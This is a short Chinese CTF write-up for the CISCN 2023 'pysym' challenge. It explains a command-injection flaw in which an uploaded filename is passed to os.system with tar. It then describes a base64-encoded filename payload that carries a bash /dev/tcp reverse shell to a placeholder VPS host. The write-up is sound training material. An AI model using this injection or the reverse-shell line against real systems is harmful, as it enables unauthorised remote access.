[CISCN 2023 华北]pysym wp

[CISCN 2023 华北]pysym wp

一、源码分析

经过浏览源码可知

os.system(‘tar --absolute-names -xvf {} -C {}’.format(savepath,directory))

这一行代码,当解压的时候,可以利用管道符 | 去拼接我们的命令

首先检查上传文件是否为空以及文件大小,对文件名进行路径拼接,然后给出上传成功后随机的文件路径,try命令执行tar解压文件,这里存在RCE漏洞,我们可以利用|去命令执行

因为os.system是无回显的,我们尝试反弹shell
除此之外,发现当savepath包含一些特殊字符时会引发file.save(savepath)报错,用base64避免

二、攻击过程

![](C:\Users\31989\Desktop\wp日记\NSSCTF[CISCN 2023 华北]pysym\1.png)

使用bp抓包,修改文件名为构造的payload,使用base64编码

![2](C:\Users\31989\Desktop\wp日记\NSSCTF[CISCN 2023 华北]pysym\2.png)

bash -c 'bash -i >& /dev/tcp/VPS_IP/port 0>&1'

将构造的命令进行base64编码

![3](C:\Users\31989\Desktop\wp日记\NSSCTF[CISCN 2023 华北]pysym\3.png)

bp抓到的包发到重放模块,在上传的文件名后拼接base64编码后的payload后发包

![](C:\Users\31989\Desktop\wp日记\NSSCTF[CISCN 2023 华北]pysym\6.png)

同时在VPS上开启端口监听,成功反弹shell,进入根目录后找到flag

![4](C:\Users\31989\Desktop\wp日记\NSSCTF[CISCN 2023 华北]pysym\4.png)

三、flag

![5](C:\Users\31989\Desktop\wp日记\NSSCTF[CISCN 2023 华北]pysym\5.png)